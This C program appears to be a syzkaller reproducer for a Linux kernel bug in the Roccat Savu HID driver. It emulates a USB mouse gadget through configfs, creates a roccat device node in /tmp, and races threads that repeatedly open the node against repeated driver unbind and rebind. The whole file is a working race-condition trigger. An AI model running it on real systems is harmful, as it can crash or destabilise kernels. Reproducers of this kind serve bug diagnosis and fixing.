// https://syzkaller.appspot.com/bug?id=23faaa0d32b2f6ae9f78af67e5a3cc69dcc98eb9 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #define GADGET_BASE "/sys/kernel/config/usb_gadget/g1" static int write_file(const char *path, const void *data, size_t len) { int fd = open(path, O_WRONLY); if (fd < 0) { return -1; } ssize_t written = write(fd, data, len); close(fd); if (written != (ssize_t)len) { return -1; } return 0; } static int write_str(const char *path, const char *str) { return write_file(path, str, strlen(str)); } static const unsigned char mouse_report_desc[] = { 0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, 0x09, 0x01, 0xa1, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x03, 0x15, 0x00, 0x25, 0x01, 0x95, 0x03, 0x75, 0x01, 0x81, 0x02, 0x95, 0x01, 0x75, 0x05, 0x81, 0x03, 0x05, 0x01, 0x09, 0x30, 0x09, 0x31, 0x15, 0x81, 0x25, 0x7f, 0x75, 0x08, 0x95, 0x02, 0x81, 0x06, 0xc0, 0xc0 }; static int setup_gadget(void) { struct stat st; if (stat("/sys/kernel/config", &st) != 0) { if (mkdir("/sys/kernel/config", 0755) != 0 && errno != EEXIST) { printf("[-] Failed to mkdir /sys/kernel/config: %s\n", strerror(errno)); } } mount("configfs", "/sys/kernel/config", "configfs", 0, NULL); if (stat("/sys/kernel/config/usb_gadget", &st) != 0) { printf("[-] usb_gadget configfs not found\n"); return -1; } mkdir(GADGET_BASE, 0755); write_str(GADGET_BASE "/idVendor", "0x1e7d\n"); write_str(GADGET_BASE "/idProduct", "0x2d5a\n"); // Savu mkdir(GADGET_BASE "/strings/0x409", 0755); write_str(GADGET_BASE "/strings/0x409/serialnumber", "00000001\n"); write_str(GADGET_BASE "/strings/0x409/manufacturer", "Vendor\n"); write_str(GADGET_BASE "/strings/0x409/product", "HID Mouse Gadget\n"); mkdir(GADGET_BASE "/configs/c.1", 0755); mkdir(GADGET_BASE "/configs/c.1/strings/0x409", 0755); write_str(GADGET_BASE "/configs/c.1/strings/0x409/configuration", "Mouse Config\n"); mkdir(GADGET_BASE "/functions/hid.usb0", 0755); write_str(GADGET_BASE "/functions/hid.usb0/protocol", "2\n"); write_str(GADGET_BASE "/functions/hid.usb0/subclass", "1\n"); write_str(GADGET_BASE "/functions/hid.usb0/report_length", "3\n"); write_file(GADGET_BASE "/functions/hid.usb0/report_desc", mouse_report_desc, sizeof(mouse_report_desc)); symlink(GADGET_BASE "/functions/hid.usb0", GADGET_BASE "/configs/c.1/hid.usb0"); char udc_name[256] = {0}; DIR *dir = opendir("/sys/class/udc"); if (dir) { struct dirent *ent; while ((ent = readdir(dir)) != NULL) { if (ent->d_name[0] != '.') { strncpy(udc_name, ent->d_name, sizeof(udc_name) - 1); break; } } closedir(dir); } if (udc_name[0] == '\0') { printf("[-] No UDC found in /sys/class/udc\n"); return -1; } printf("[+] Found UDC: %s\n", udc_name); char udc_str[256]; snprintf(udc_str, sizeof(udc_str), "%s\n", udc_name); if (write_str(GADGET_BASE "/UDC", udc_str) != 0) { printf("[-] Failed to bind to UDC %s\n", udc_name); return -1; } printf("[+] Gadget created and bound.\n"); return 0; } static int get_roccat_major(void) { FILE *f = fopen("/proc/devices", "r"); if (!f) return -1; char line[256]; int major = -1; while (fgets(line, sizeof(line), f)) { if (strstr(line, "roccat")) { sscanf(line, "%d", &major); break; } } fclose(f); return major; } static char hid_dev_id[256] = {0}; static int find_hid_device(void) { DIR *d = opendir("/sys/bus/hid/drivers/savu"); if (!d) return -1; struct dirent *dir; while ((dir = readdir(d)) != NULL) { if (strchr(dir->d_name, ':')) { strcpy(hid_dev_id, dir->d_name); closedir(d); return 0; } } closedir(d); return -1; } static volatile int stop = 0; static void *opener_thread(void *arg) { while (!stop) { int fd = open("/tmp/roccat0", O_RDONLY); if (fd >= 0) { close(fd); } } return NULL; } static void *rebinder_thread(void *arg) { int bind_fd = open("/sys/bus/hid/drivers/savu/bind", O_WRONLY); int unbind_fd = open("/sys/bus/hid/drivers/savu/unbind", O_WRONLY); if (bind_fd < 0 || unbind_fd < 0) { printf("[-] Failed to open bind/unbind: %s\n", strerror(errno)); return NULL; } size_t len = strlen(hid_dev_id); while (!stop) { if (write(unbind_fd, hid_dev_id, len) < 0) {} if (write(bind_fd, hid_dev_id, len) < 0) {} } return NULL; } int main(void) { if (setup_gadget() != 0) { return 1; } int retries = 50; while (retries--) { if (find_hid_device() == 0) break; usleep(100000); } if (hid_dev_id[0] == '\0') { printf("[-] Failed to find hid device\n"); return 1; } printf("[+] Found HID device: %s\n", hid_dev_id); int major = get_roccat_major(); if (major < 0) { printf("[-] Failed to find roccat major\n"); return 1; } printf("[+] Found roccat major: %d\n", major); unlink("/tmp/roccat0"); if (mknod("/tmp/roccat0", S_IFCHR | 0666, makedev(major, 0)) < 0) { printf("[-] Failed to mknod: %s\n", strerror(errno)); return 1; } printf("[+] Created /tmp/roccat0\n"); pthread_t openers[4]; for (int i = 0; i < 4; i++) { pthread_create(&openers[i], NULL, opener_thread, NULL); } pthread_t rebinder; pthread_create(&rebinder, NULL, rebinder_thread, NULL); sleep(10); stop = 1; for (int i = 0; i < 4; i++) { pthread_join(openers[i], NULL); } pthread_join(rebinder, NULL); printf("[+] Done\n"); return 0; }